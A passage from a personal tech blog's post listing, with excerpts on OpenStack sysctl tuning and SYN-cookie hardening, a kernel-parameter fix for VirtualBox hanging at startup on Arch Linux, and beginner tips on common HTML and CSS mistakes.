</span></span></code></pre></td></tr></table> </div> </div><p>Add this property into it:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">vm.dirty_writeback_centisecs = 6000 </span></span></code></pre></td></tr></table> </div> </div><p>Then execute:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# sysctl -p </span></span></code></pre></td></tr></table> </div> </div><p>Verify:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# cat /proc/sys/vm/dirty_writeback_centisecs </span></span><span class="line"><span class="cl">6000 </span></span></code></pre></td></tr></table> </div> </div><p>Done!</p> <blockquote> <h4 id="question-19-linux-system-tuning---preventing-syn-attacks-05-points"><strong>[Question 19] Linux System Tuning - Preventing SYN Attacks [0.5 points]</strong></h4> <p>Modify the relevant configuration files on the controller node to enable SYN cookies and prevent SYN flood attacks. After completion, submit the username, password, and IP address of the controller node to the answer box.</p> </blockquote> <p>Edit the file <code>/etc/sysctl.conf</code></p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# vim /etc/sysctl.conf </span></span></code></pre></td></tr></table> </div> </div><p>Add these properties into it:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">net.ipv4.tcp_max_syn_backlog=2048 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">net.ipv4.tcp_syncookies=1 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">net.ipv4.tcp_syn_retries = 0 </span></span></code></pre></td></tr></table> </div> </div><p>Then execute:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# sysctl -p </span></span></code></pre></td></tr></table> </div> </div><p>Done!</p> <h2 id="conclusion">Conclusion</h2> <p>Well, finally, I finished all the steps of establishing the OpenStack!</p> <p>These are the notes of the process.</p>

2023/5/4
阅读更多

Attempt to Solve the Problem of VirtualBox Stuck on 'Starting' When Starting a Virtual Machine

<div class="featured-image"> <img src="/img/photo_2023-03-06_20-52-14.jpg" referrerpolicy="no-referrer"> </div><h1 id="prologue-what-was-the-problem">Prologue: What was the problem?</h1> <p>Today, I felt like playing around with VirtualBox and discovered that every virtual machine was stuck at <code>Starting virtual machine.</code>.</p> <p>The first step when encountering a problem is to go to Google.</p> <p>Hmm&hellip; I found two posts on the official Arch forum.</p> <ul> <li> <p><a href="https://bbs.archlinux.org/viewtopic.php?id=277409" target="_blank" rel="noopener noreffer ">Virtualbox hangs on Starting virtual machine window / Newbie Corner / Arch Linux Forums</a></p> </li> <li> <p><a href="https://bbs.archlinux.org/viewtopic.php?id=276699" target="_blank" rel="noopener noreffer ">KVM busted in linux 5.18 due to Intel CET / Kernel &amp; Hardware / Arch Linux Forums</a></p> </li> </ul> <p>After reading the two posts, I discovered that it was due to a bug in KVM in the new version of the kernel.</p> <p>Fortunately, a skilled individual had already submitted a bug report.</p> <ul> <li> <p><a href="https://bugs.archlinux.org/task/75481" target="_blank" rel="noopener noreffer ">FS#75481 : [linux] VBox virtual machines stop functioning</a></p> </li> <li> <p><a href="https://github.com/torvalds/linux/commit/991625f3dd2cbc4b787deb0213e2bcf8fa264b21" target="_blank" rel="noopener noreffer ">x86/ibt: Add IBT feature, MSR and #CP handling · torvalds/linux@991625f · GitHub</a></p> </li> </ul> <p><del>As for how this bug came about&hellip; I&rsquo;m not sure, I&rsquo;m not that knowledgeable.</del></p> <h1 id="thinking-about-how-to-solve-it">Thinking about how to solve it</h1> <p>Based on the content of the posts I&rsquo;ve read, the solution is to set the kernel parameter <code>ibt=off</code>.</p> <blockquote> <p>Thank you</p> <p>appending</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">ibt=off </span></span></code></pre></td></tr></table> </div> </div><p>to kernel boot params fixed my problem.</p> </blockquote> <h2 id="how-do-i-set-kernel-boot-parameters">How do I set kernel boot parameters?</h2> <p>Since I didn&rsquo;t know how to do this, I went to Google and found a method.</p> <ul> <li><a href="https://linuxconfig.org/how-to-set-kernel-boot-parameters-on-linux" target="_blank" rel="noopener noreffer ">How to set kernel boot parameters on Linux - Linux Tutorials - Learn Linux Configuration</a></li> </ul> <h2 id="proposed-solution">Proposed Solution</h2> <p>Actually, the solution is to edit the value of GRUB_CMDLINE_LINUX=&quot;&quot; in the /etc/default/grub file and add &ldquo;ibt=off&rdquo; to it.</p> <h1 id="solution-steps">Solution Steps</h1> <h2 id="1-edit-the-etcdefaultgrub-file">1. Edit the <code>/etc/default/grub</code> file</h2> <p>The purpose of editing this file is to set the kernel boot parameters. The method for setting this may vary depending on the system booted by different bootloaders. As I am using Grub in my Arch system, I need to edit this file.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">$ sudo vim /etc/default/grub </span></span></code></pre></td></tr></table> </div> </div><p>Find the keyword <code>GRUB_CMDLINE_LINUX=&quot;&quot;</code> and add the parameter <code>ibt=off</code>.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span><span class="lnt">9 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="c1"># GRUB boot loader configuration</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">GRUB_DEFAULT</span><span class="o">=</span><span class="mi">0</span> </span></span><span class="line"><span class="cl"><span class="n">GRUB_TIMEOUT</span><span class="o">=</span><span class="mi">5</span> </span></span><span class="line"><span class="cl"><span class="n">GRUB_DISTRIBUTOR</span><span class="o">=</span><span class="s2">&#34;Arch&#34;</span> </span></span><span class="line"><span class="cl"><span class="n">GRUB_CMDLINE_LINUX_DEFAULT</span><span class="o">=</span><span class="s2">&#34;loglevel=7&#34;</span> </span></span><span class="line"><span class="cl"><span class="n">GRUB_CMDLINE_LINUX</span><span class="o">=</span><span class="s2">&#34;ibt=off&#34;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="o">......</span> </span></span></code></pre></td></tr></table> </div> </div><p>Enter <code>:</code> and type <code>wq</code> to save and exit the file (this is a basic operation and requires no further explanation).</p> <h2 id="2-regenerate-the-grub-configuration-file">2. Regenerate the Grub configuration file</h2> <p>Then, regenerate the Grub configuration file.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">$ sudo grub-mkconfig -o /boot/grub/grub.cfg </span></span></code></pre></td></tr></table> </div> </div><p>Wait for the operation to complete. If there are no errors, you can restart the operating system.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">$ sudo reboot </span></span></code></pre></td></tr></table> </div> </div><h1 id="testing-and-verification">Testing and Verification</h1> <p>After restarting the system, open VirtualBox again and start a virtual machine. At this point, it should successfully enter the system.</p> <p></p> <p>This means that the problem has been solved.</p>

2023/3/6
阅读更多

Some Thoughts on Writing HTML and CSS

<div class="featured-image"> <img src="https://w.wallhaven.cc/full/zy/wallhaven-zygeko.jpg" referrerpolicy="no-referrer"> </div><h1 id="introduction">Introduction</h1> <p>Many beginners often encounter some basic problems when learning HTML and CSS, which can be frustrating.</p> <p>I originally didn&rsquo;t want to write about basic topics, but I feel that some people may need to see this kind of content&hellip;so here are some tips.</p> <p>There is not much to say, just some issues related to syntax and usage.</p> <h1 id="common-issues-i-have-noticed">Common Issues I Have Noticed</h1> <h2 id="html-syntax-problems">HTML Syntax Problems</h2> <h3 id="tag-order-problems">Tag Order Problems</h3> <p>I often get asked questions like &ldquo;Why isn&rsquo;t my content showing up when I put the tags in?&rdquo;, or &ldquo;Why isn&rsquo;t this working&hellip;&rdquo; and so on.</p> <p>The first question I was asked was why the content of the title (<code>&lt;h1&gt;</code> tag) wasn&rsquo;t showing up. I took a look at their code:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="cp">&lt;!DOCTYPE html&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">head</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">meta</span> <span class="na">charset</span><span class="o">=</span><span class="s">&#34;utf-8&#34;</span> <span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">title</span><span class="p">&gt;</span>Test<span class="p">&lt;/</span><span class="nt">title</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">head</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">p</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> ppp </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">h1</span><span class="p">&gt;</span>TT<span class="p">&lt;/</span><span class="nt">h1</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> pppp </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><p>I couldn&rsquo;t believe it &ndash; they put the <code>&lt;h1&gt;</code> tag inside the <code>&lt;p&gt;</code> tag&hellip;</p> <p>It&rsquo;s clear that they aren&rsquo;t familiar with either of these tags. Both <code>&lt;h1&gt;</code> and <code>&lt;p&gt;</code> are block-level elements, and by default the font size of <code>&lt;h1&gt;</code> is larger than that of <code>&lt;p&gt;</code>. Therefore, putting them together may result in display errors. Normally, these two tags exist on the same level, and both will occupy a line to display. If the larger <code>&lt;h1&gt;</code> tag is nested inside the smaller one, of course you won&rsquo;t be able to see it~</p> <p>In summary, there cannot be headings within paragraphs, and they cannot be nested within each other.</p> <p>Therefore, the correct way to write it should be as follows:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="cp">&lt;!DOCTYPE html&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">head</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">meta</span> <span class="na">charset</span><span class="o">=</span><span class="s">&#34;utf-8&#34;</span> <span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">title</span><span class="p">&gt;</span>Test<span class="p">&lt;/</span><span class="nt">title</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">head</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">h1</span><span class="p">&gt;</span>The Title Of An article.<span class="p">&lt;/</span><span class="nt">h1</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">p</span><span class="p">&gt;</span>The Paragraph.<span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="missing-symbols">Missing Symbols</h3> <p>Sometimes I get asked about this issue as well, and I feel like these are all basic errors.</p> <p>Looking at the code, I&rsquo;m like, <del>&ldquo;What is this mess?&quot;</del></p> <p>It&rsquo;s clearly not standard HTML.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="cp">&lt;!DOCTYPE html&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">head</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">meta</span> <span class="na">charset</span><span class="o">=</span><span class="s">&#34;utf-8&#34;</span> <span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">title</span><span class="p">&gt;</span>Test<span class="err">&lt;</span>/title </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">head</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">h1</span><span class="p">&gt;</span>Test<span class="err">&lt;</span>/h1 </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">p</span> <span class="na">Text</span><span class="err">&lt;/</span><span class="na">p</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> /body&gt; </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><p>This type of code&hellip;</p> <p>Either they weren&rsquo;t paying attention when writing it or they&rsquo;re not familiar with how to use these tags.</p> <p>Or perhaps they don&rsquo;t know how to represent tags.</p> <p>Let me explain again: there are two types of tags, single tags and double tags.</p> <p>Taking the tag for inserting an image as an example, the single tag looks like this: <code>&lt;img /&gt;</code>. The <code>&lt;</code> at the beginning and <code>&gt;</code> at the end can&rsquo;t be left out, and it&rsquo;s best to add a <code>/</code> before the closing <code>&gt;</code>.</p> <p>As for double tags, let&rsquo;s take the paragraph tag as an example: <code>&lt;p&gt;This is a paragraph.&lt;/p&gt;</code>. This type of double tag must have an opening and closing tag. Neither the beginning nor the end can be left out.</p> <p>When writing double tags and there&rsquo;s nesting involved, it&rsquo;s a good habit to indent each level on a new line.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="cp">&lt;!DOCTYPE html&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">head</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">meta</span> <span class="na">charset</span><span class="o">=</span><span class="s">&#34;utf-8&#34;</span> <span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">title</span><span class="p">&gt;</span>Test<span class="p">&lt;/</span><span class="nt">title</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">head</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;Box1&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;Box2&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">h1</span><span class="p">&gt;</span>Title<span class="p">&lt;/</span><span class="nt">h1</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">ul</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">p</span><span class="p">&gt;</span>Para1<span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">p</span><span class="p">&gt;</span>Para2<span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">ul</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><p>This way, the code is not only beautiful, but it&rsquo;s also easier to maintain and troubleshoot in the future.</p> <h3 id="not-differentiating-between-head-and-body">Not Differentiating Between <code>&lt;head&gt;</code> and <code>&lt;body&gt;</code></h3> <p>In addition to the aforementioned issues, there are even cases where people write <code>&lt;div&gt;</code> tags inside the <code>&lt;head&gt;</code>, which indicates that they haven&rsquo;t yet distinguished between the HTML header and content display areas.</p> <p>I can only explain it this way:</p> <ul> <li> <p>The <code>&lt;head&gt;</code> section is the header information area, which is what the server sends to the browser. The code inside it is not rendered on the page in the browser.</p> </li> <li> <p>The <code>&lt;body&gt;</code> section is the content display area, used to write tags that can be displayed. You can also write <code>&lt;script&gt;</code> tags with JavaScript code nested inside, but CSS styles cannot be written here.</p> </li> </ul> <h2 id="css-problems">CSS Problems</h2> <p>In addition to syntax issues and not differentiating between sections in HTML, there are also some strange questions people ask me when writing CSS.</p> <h3 id="referencing-stylesheets">Referencing Stylesheets</h3> <p>There are three ways to reference CSS stylesheets, according to textbooks, but the most commonly used are two.</p> <p>My personal favorite is to use <code>&lt;link&gt;</code> to link the stylesheet. This way, you can split it into two files and write them side by side, making it very convenient.</p> <p>You don&rsquo;t need to flip back and forth like with inline styles.</p> <p>As for inline styles? They&rsquo;re not used much, I almost never use them in practice.</p> <p>But there are still people who don&rsquo;t know how to link stylesheets?</p> <p>The main issue is not understanding the concept of paths.</p> <p>It&rsquo;s actually very simple &ndash; just remember the relative path and then fill it into the <code>href</code> attribute value of the <code>&lt;link&gt;</code> tag.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">link</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;text/css&#34;</span> <span class="na">rel</span><span class="o">=</span><span class="s">&#34;stylesheet&#34;</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;css/style.css&#34;</span> <span class="p">/&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><p>Of course, there are still people who don&rsquo;t know how to use inline styles, but there&rsquo;s not much to say about it. Just remember that the <code>&lt;style&gt;</code> tag must be placed inside the <code>&lt;head&gt;</code> section and then write the styles using the correct CSS format inside the <code>&lt;style&gt;</code> tag.</p> <p>For example:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="cp">&lt;!DOCTYPE html&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span> <span class="na">lang</span><span class="o">=</span><span class="s">&#34;en&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">head</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">meta</span> <span class="na">charset</span><span class="o">=</span><span class="s">&#34;UTF-8&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">meta</span> <span class="na">http-equiv</span><span class="o">=</span><span class="s">&#34;X-UA-Compatible&#34;</span> <span class="na">content</span><span class="o">=</span><span class="s">&#34;IE=edge&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">meta</span> <span class="na">name</span><span class="o">=</span><span class="s">&#34;viewport&#34;</span> <span class="na">content</span><span class="o">=</span><span class="s">&#34;width=device-width, initial-scale=1.0&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">title</span><span class="p">&gt;</span>Document<span class="p">&lt;/</span><span class="nt">title</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">head</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">style</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;text/css&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="o">*</span><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">margin</span><span class="p">:</span> <span class="mi">0</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">padding</span><span class="p">:</span> <span class="mi">0</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">.</span><span class="nc">TopHead</span><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background-color</span><span class="p">:</span> <span class="kc">white</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">border</span><span class="p">:</span> <span class="kc">solid</span> <span class="mi">1</span><span class="kt">px</span> <span class="kc">black</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">width</span><span class="p">:</span> <span class="mi">100</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">height</span><span class="p">:</span> <span class="mi">200</span><span class="kt">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">style</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;TopHead&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="when-writing-css-losing---and--and-misspelling-words">When writing CSS, losing <code>;</code>, <code>{</code>, and <code>}</code> and misspelling words.</h3> <p>These are all minor mistakes that can be improved with more practice and attention. The correct template should look like this:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">Selector</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="n">Property</span><span class="p">:</span> <span class="n">value</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">TopHead</span><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background-color</span><span class="p">:</span> <span 